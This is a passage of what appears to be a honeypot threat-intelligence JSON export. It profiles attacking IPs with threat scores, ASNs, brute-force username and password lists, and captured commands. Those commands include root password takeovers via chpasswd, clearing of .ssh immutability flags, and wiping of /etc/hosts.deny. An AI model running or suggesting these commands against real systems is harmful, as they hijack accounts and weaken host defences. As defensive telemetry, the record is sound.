        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd\\nsL9P7XWYel1M\\nsL9P7XWYel1M\\n\"|passwd",
        "echo \"root:k28LvSOgwqaD\"|chpasswd|bash",
        "echo -e \"P@ssw0rd\\nsL9P7XWYel1M\\nsL9P7XWYel1M\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131414,
      "as_org": "Long Van Soft Solution JSC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:26:32.067000+00:00",
        "last_seen_30d": "2026-05-12T04:56:56.266000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 75
      }
    },
    "124.156.205.51": {
      "attack_count": 236,
      "first_seen": "2026-05-17T20:30:50.024Z",
      "last_seen": "2026-05-17T20:57:54.864Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111a",
        "1234aaaa",
        "1234abcd",
        "2063",
        "Orange@123",
        "Os3leni*",
        "Root123",
        "bigdata",
        "config",
        "csilla",
        "flash",
        "gmail",
        "iskandar",
        "lager",
        "mcs",
        "nintendo",
        "optic",
        "prueba123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DDDg6CkQRqtX\"|chpasswd|bash",
        "echo \"root:h4yZo4IjqxsR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:30:50.024000+00:00",
        "last_seen_30d": "2026-05-17T20:58:56.331000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "45.32.7.167": {
      "attack_count": 228,
      "first_seen": "2026-05-03T02:29:38.841Z",
      "last_seen": "2026-05-03T02:35:59.110Z",
      "sessions": 114,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 345,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:29:38.841000+00:00",
        "last_seen_30d": "2026-05-03T02:37:08.036000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 228,
        "Suricata": 117
      }
    },
    "181.191.194.175": {
      "attack_count": 219,
      "first_seen": "2026-05-02T04:49:56.657Z",
      "last_seen": "2026-05-02T06:22:22.855Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "test",
        "dev",
        "345gs5662d34",
        "Ubuntu01",
        "ansadmin",
        "bitrix",
        "ftpuser",
        "git",
        "guest",
        "minecraftserver",
        "nodeuser",
        "paul",
        "root",
        "tacuser",
        "testing",
        "user",
        "userx"
      ],
      "passwords_attempted": [
        ")(",
        "123",
        "123123",
        "12345",
        "123456",
        "12345678",
        "1234Qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "7654321",
        "P@ssw0rd!",
        "P@sswOrd",
        "UBUNTU@123",
        "Ubuntu01",
        "a1b2c3d4",
        "acceler8",
        "admin",
        "admin12",
        "backupadmin123",
        "dev@12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"history\\nM0aygZLSrvUw\\nM0aygZLSrvUw\\n\"|passwd",
        "echo -e \"history\\nM0aygZLSrvUw\\nM0aygZLSrvUw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Eldorado",
      "asn": 267003,
      "as_org": "SCM EVOLUTT CONNECT LTDA",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:49:56.657000+00:00",
        "last_seen_30d": "2026-05-02T06:23:32.294000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 80
      }
    },
    "43.156.111.141": {
      "attack_count": 217,
      "first_seen": "2026-05-28T23:27:49.843Z",
      "last_seen": "2026-05-28T23:56:47.405Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cma",
        "frappe",
        "jhlee",
        "monitor",
        "postgres",
        "serv",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123.com",
        "Abcd1234@",
        "Alibaba123",
        "Chen@123",
        "Root@2026",
        "admin123",
        "assassin",
        "cma123",
        "fjbdfdjkdsfs541544",
        "jhlee1234",
        "kontol",
        "mm",
        "monitor",
        "mysql",
        "passWORD123",
        "serv"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\naRdpfCOukCoM\\naRdpfCOukCoM\\n\"|passwd",
        "echo \"root:AOt4T15zsNE2\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\naRdpfCOukCoM\\naRdpfCOukCoM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:27:49.843000+00:00",
        "last_seen_30d": "2026-05-28T23:57:52.719000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 45
      }
    },
    "117.252.240.85": {
      "attack_count": 216,
      "first_seen": "2026-05-21T06:42:54.786Z",
      "last_seen": "2026-05-21T20:47:17.611Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:42:54.786000+00:00",
        "last_seen_30d": "2026-05-21T20:48:22.775000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 108
      }
    },
    "51.159.104.219": {
      "attack_count": 204,
      "first_seen": "2026-05-08T08:37:29.999Z",
      "last_seen": "2026-05-31T14:12:07.354Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 55.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:37:29.999000+00:00",
        "last_seen_30d": "2026-05-31T14:13:08.241000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 102
      }
    },
    "138.121.105.139": {
      "attack_count": 186,
      "first_seen": "2026-05-19T21:16:34.493Z",
      "last_seen": "2026-05-23T07:45:49.751Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:16:34.493000+00:00",
        "last_seen_30d": "2026-05-23T07:46:56.307000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 93
      }
    },
    "104.194.9.81": {
      "attack_count": 156,
      "first_seen": "2026-05-05T01:10:09.655Z",
      "last_seen": "2026-05-31T07:07:30.560Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 57.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:10:09.655000+00:00",
        "last_seen_30d": "2026-05-31T07:08:37.473000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "139.19.117.197": {
      "attack_count": 156,
      "first_seen": "2026-05-06T09:09:41.477Z",
      "last_seen": "2026-05-31T18:34:33.019Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Saarbr\u00fccken",
      "asn": 680,
      "as_org": "Verein zur Foerderung eines Deutschen Forschungsnetzes e.V.",
      "threat_score": 64.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.5,
        "persistence": 21.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 26,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T09:00:03.805000+00:00",
        "last_seen_30d": "2026-05-31T18:35:38.922000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Cowrie": 104,
        "Honeytrap": 4
      }
    },
    "150.241.88.100": {
      "attack_count": 144,
      "first_seen": "2026-05-24T03:45:32.795Z",
      "last_seen": "2026-05-24T04:32:55.715Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "as",
        "345gs5662d34",
        "alex",
        "jenkins",
        "malik",
        "n8n",
        "nidhi",
        "shabnam",
        "system",
        "tpaterni"
      ],
      "passwords_attempted": [
        "014789",
        "123...com",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@Admin2025",
        "Qwer1234!@",
        "Smoker666",
        "alex2025",
        "as",
        "malik123",
        "n8n",
        "nidhi",
        "qq12345.",
        "root",
        "shabnam",
        "system@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"as\\nHQPWFG7JuJ7s\\nHQPWFG7JuJ7s\\n\"|passwd",
        "echo -e \"as\\nHQPWFG7JuJ7s\\nHQPWFG7JuJ7s\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:45:32.795000+00:00",
        "last_seen_30d": "2026-05-24T04:34:03.544000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "42.96.20.16": {
      "attack_count": 144,
      "first_seen": "2026-05-30T21:03:19.607Z",
      "last_seen": "2026-05-30T21:28:53.620Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "minecraft",
        "345gs5662d34",
        "dev",
        "front",
        "ftpuser",
        "maill",
        "mdepaula",
        "mdm",
        "support",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "7758521",
        "960..123",
        "Welcome@2024",
        "admin123",
        "front",
        "hzhg@123654",
        "mdepaula",
        "mdm",
        "minecraft1234",
        "passwd",
        "qwe123!@#",
        "qwe123QWE!@",
        "qweQWE123!@#",
        "ved"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"minecraft1234\\nhWJYp24KFXpg\\nhWJYp24KFXpg\\n\"|passwd",
        "echo -e \"minecraft1234\\nhWJYp24KFXpg\\nhWJYp24KFXpg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T21:03:19.607000+00:00",
        "last_seen_30d": "2026-05-30T21:30:00.147000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "62.217.138.77": {
      "attack_count": 130,
      "first_seen": "2026-05-22T09:21:17.152Z",
      "last_seen": "2026-05-22T10:37:44.740Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 15723,
      "as_org": "azeronline Ltd Joint Enterprise",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:21:17.152000+00:00",
        "last_seen_30d": "2026-05-22T10:38:51.602000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 130,
        "Suricata": 71
      }
    },
    "123.166.66.229": {
      "attack_count": 122,
      "first_seen": "2026-05-20T18:23:56.678Z",
      "last_seen": "2026-05-21T00:16:46.989Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:23:56.678000+00:00",
        "last_seen_30d": "2026-05-21T00:17:50.131000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 61
      }
    },
    "66.154.107.138": {
      "attack_count": 106,
      "first_seen": "2026-05-24T23:09:56.812Z",
      "last_seen": "2026-05-24T23:54:32.999Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "luna",
        "admin",
        "curl",
        "deployer",
        "server",
        "zhangsan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "123456",
        "123456789",
        "Aa778899",
        "Qweqwe123",
        "Tk123456!",
        "Wangsu@2017",
        "admin123@",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "hunter2",
        "luna",
        "password",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 7393,
      "as_org": "CYBERCON, INC.",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:09:56.812000+00:00",
        "last_seen_30d": "2026-05-24T23:55:39.840000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 106,
        "Suricata": 44
      }
    },
    "123.166.66.29": {
      "attack_count": 100,
      "first_seen": "2026-05-23T08:07:13.605Z",
      "last_seen": "2026-05-23T13:59:55.745Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:07:13.605000+00:00",
        "last_seen_30d": "2026-05-23T14:01:02.928000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 54
      }
    },
    "223.230.3.39": {
      "attack_count": 93,
      "first_seen": "2026-05-25T04:10:48.890Z",
      "last_seen": "2026-05-25T06:20:15.582Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ajay",
        "curl",
        "frappe",
        "soksuser",
        "test"
      ],
      "passwords_attempted": [
        "!1qaz@2wsx",
        "!Q2w3e4r5t6y",
        "12345678.",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd.1234",
        "Qwerty123",
        "Rd123456",
        "Server2026@",
        "Test2024",
        "ajay@123",
        "fjbdfdjkdsfs541544AA@@",
        "iddqdidkfa",
        "kiki",
        "password",
        "soksuser",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:10:48.890000+00:00",
        "last_seen_30d": "2026-05-25T06:21:20.799000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 49
      }
    },
    "185.200.244.115": {
      "attack_count": 88,
      "first_seen": "2026-05-03T13:16:18.250Z",
      "last_seen": "2026-05-03T13:27:13.251Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203919,
      "as_org": "Lumadock Ltd",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:16:18.250000+00:00",
        "last_seen_30d": "2026-05-03T13:28:15.019000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 48
      }
    },
    "154.16.115.163": {
      "attack_count": 78,
      "first_seen": "2026-05-08T18:23:22.878Z",
      "last_seen": "2026-05-29T23:07:27.029Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
